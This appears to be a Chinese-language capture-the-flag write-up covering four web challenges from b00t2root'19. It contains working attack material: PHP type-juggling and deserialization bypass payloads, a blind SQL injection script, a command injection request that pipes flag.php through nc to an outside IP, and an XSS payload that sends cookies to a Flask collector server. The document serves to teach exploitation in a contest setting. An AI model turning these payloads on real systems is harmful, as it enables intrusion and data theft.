b00t2root'19 web writeup

0x00 前言

比赛地址: http://3.17.26.191/

时间: 星期五, 三月 29, 11:30 PM (23:00) — 星期六, 三月 30, 11:30 PM (23:00)

0x01 EasyPhp

此题共分为以下三步:

  1. 关于PHP 0e[0-9]+格式md5的弱类型校验
1
2
3
4
5
6
7
8
9
10
11
12
$str1 = $_GET['1']; 
if(isset($_GET['1'])){
if($str1 == md5($str1)){
echo $flag1;
}
else{
die();
}
}
else{
die();
}
  1. 关于PHP hash函数的弱类型校验=>数组形式2[]=1&3[]=2使其返回null进而弱类型相等
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$str2 = $_GET['2']; 
$str3 = $_GET['3'];

if(isset($_GET['2']) && isset($_GET['3'])){
if($str2 !== $str3){
if(hash('md5', $salt . $str2) == hash('md5', $salt . $str3)){
echo $flag2;
}
else{
die();
}
}
else{
die();
}
}
else{
die();
}
  1. PHP的序列化与反序列的引用类型
    题目的源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Secrets { 
var $temp;
var $flag;
}

if (isset($_GET['4'])) {
$str4 = $_GET['4'];

if(get_magic_quotes_gpc()){
$str4=stripslashes($str4);
}

$res = unserialize($str4);

if ($res) {
$res->flag=$flag3;
if ($res->flag === $res->temp)
echo $res->flag;
else
die();
}
else die();
}

我们看如下两个例子

1
2
3
4
5
<?php
$str4 = 'O:7:"Secrets":3:{s:4:"temp";N;s:4:"test";i:100;s:4:"flag";R:3;}';
$res = unserialize($str4);
print_r($res);
?>

结果

1
2
3
4
5
6
7
__PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => Secrets
[temp] =>
[test] => 100
[flag] => 100
)
1
2
3
4
5
<?php
$str4 = 'O:7:"Secrets":3:{s:4:"temp";N;s:4:"test";i:100;s:4:"flag";R:2;}';
$res = unserialize($str4);
print_r($res);
?>

结果

1
2
3
4
5
6
7
__PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => Secrets
[temp] =>
[test] => 100
[flag] =>
)

所以我们可以使用反序列化中的引用类型来绕过此处的校验
payload

1
O:7:"Secrets":2:{s:4:"temp";N;s:4:"flag";R:2;}

0x02 Set Me Free

使用Python3.7编写的具有二分查找功能的sql盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from urllib import request, parse
import sys, math

def send(query):

data = parse.urlencode({ 'username' : "') and if((%s),1,0) #" % query }).encode()

req = request.Request('http://3.16.68.122/smf/register.php', data = data)
req.get_method = lambda : 'POST'
res = request.urlopen(req).read().decode()

return res.find('User Not Registered') != -1; # means true

def greater_than_or_equal(query, i):
return send('%s >= %d' % (query, i));

def equal(query, i):
return send('%s = %d' % (query, i));

def search(query):
min_val = 0
max_val = 128

while min_val + 1 < max_val:
mid = math.floor((min_val + max_val) / 2)

if greater_than_or_equal(query, mid):
min_val = mid
else:
max_val = mid

if not equal(query, min_val):
return search(query)

return min_val

def get_length(query):
return search('length((%s))' % query)

def get_and_print_content(query, length):
content = ''
for i in range(length):
content += chr(search('ord(substr((%s), %d, 1))' % (query, i + 1)))
sys.stdout.write('\r[%s] %s%s' % (length, content, '_' * (length - len(content))))
print('')
return content

if __name__ == '__main__':
arg = ' '.join(sys.argv[1:])

content_len = get_length(arg)
get_and_print_content(arg, content_len)

参考:
https://posix.tistory.com/84

0x03 PingService

源码泄露http://3.17.167.161/PingService/helper.php~
题目源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
function getIP()
{
if (@$_SERVER["HTTP_X_FORWARDED_FOR"]){
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
}else if (@$_SERVER["HTTP_CLIENT_IP"]){
$ip = $_SERVER["HTTP_CLIENT_IP"];
}else if (@$_SERVER["REMOTE_ADDR"]){
$ip = $_SERVER["REMOTE_ADDR"];
}else if (@getenv("HTTP_X_FORWARDED_FOR")){
$ip = getenv("HTTP_X_FORWARDED_FOR");
}else if (@getenv("HTTP_CLIENT_IP")){
$ip = getenv("HTTP_CLIENT_IP");
}else if (@getenv("REMOTE_ADDR")){
$ip = getenv("REMOTE_ADDR");
}else{
$ip = "Unknown";
}
return $ip;
}
function clean($data) {
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $data))) {
die('<center><h2 style="color:red;">Shoo Go Away heckermen... Thats not an IP Address</h2></center>');
}
$black_list = array('"', "'", " ","\n");
foreach ($black_list as $key) {
// if(strpos($data, $key) !== false){
// die("<center> Not Allowed </center>");
// }
$data = str_replace($key, '', $data);
}
return $data;
}
?>

根据clean函数可以看出应该可能存在blind rce。根据getIP函数的内容,我们首先修改X-Forwarder-For字段为127.0.0.1之后返回了源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
require_once('helper.php');
if (getIP() != "127.0.0.1"){
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<link href="./main.css" media="all" rel="stylesheet" type="text/css"/>
</head>
<body>
<?php
die("Oye! This service is only for local client");
?>
</body>
</html>
<?php
}else{
?>

<html>
<head>
<meta charset="utf-8">
<link href="./main.css" media="all" rel="stylesheet" type="text/css"/>
</head>
<body>
<div class="login">
<div class="login-screen">
<div class="app-title">
<h1>Ping Service</h1>
</div>
<form action="" method="post">
<div class="login-form">
<div class="control-group">
<input type="text" class="login-field" placeholder="8.8.8.8" id="ip" name="ip">
<label class="login-field-icon fui-user" for="login-form"></label>
</div>

<button type="submit" class="btn btn-primary btn-large btn-block">Submit</button>
</div>
</form>
</div>
</div>

</body>
</html>

<?php


if(!isset($_POST['ip'])){
highlight_file(__FILE__);
}
else if(isset($_POST['ip'])) {
$ip = $_POST['ip'];
$ip = 'ping -c 1 '.clean($ip);
$res = str_replace("\n", "</br>\n", shell_exec($ip));
if(strpos($res, "100% packet loss")!==false){
echo "<center> <h2 style='color:red'>Not Alive </h2></center>";
}
else{
echo "<center> <h2 style='color:yellow'>Alive </h2></center>";
}

}

}
?>

从源代码上已经确定是rce的一种利用,从clean函数中看到过滤了空格,但是我们可以使用${IFS}来bypass

最终的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /PingService/ HTTP/1.1
Host: 3.17.167.161
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://3.17.167.161/PingService/
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Connection: close
Upgrade-Insecure-Requests: 1
x-forwarded-for:127.0.0.1

ip=8.8.8.8%0a;cat${IFS%?}flag.php|nc${IFS%?}47.90.204.28${IFS%?}2233

返回的结果

1
2
3
<?php
$flag = 'b00t2root{mr.s74rk_1_d0nt_feel_s0_g00d}';
?>

0x04 eXquisite Scenery Sites

IP转int
http://www.bejson.com/convert/ip2int/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Web-2/contact.php HTTP/1.1
Host: 18.218.187.241
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://18.218.187.241/Web-2/contact.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Connection: close
Cookie: PHPSESSID=008185861a14c247da3b48a088fc8a75
Upgrade-Insecure-Requests: 1

user=test&Message=<sCript>document['location']='http://794479644:51/?'%2Bdocument['cookie']</Script>

这次使用一句话服务器却怎么也接受不到bot发过来的请求,之后使用如下脚本就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#/usr/bin/env python
# _*_ coding:utf-8 _*_
# blog : evilwing.me
# __Author__ : wing
from flask import Flask, request
xss = Flask(__name__)
@xss.route('/')
def index():
flag = request.args
for i,j in flag.items():
print('Flag is:' + j)
return str()

if __name__ == "__main__":
xss.run(host="0.0.0.0",port=51)

flag

1
2
3
[root@zeros ~]# python xssflag.py
* Running on http://0.0.0.0:51/ (Press CTRL+C to quit)
Flag is:b00t2root{why_y0u_st34l_my_c00ki3s?}; PHPSESSID=up8133i9r901kr52r93v5um0vf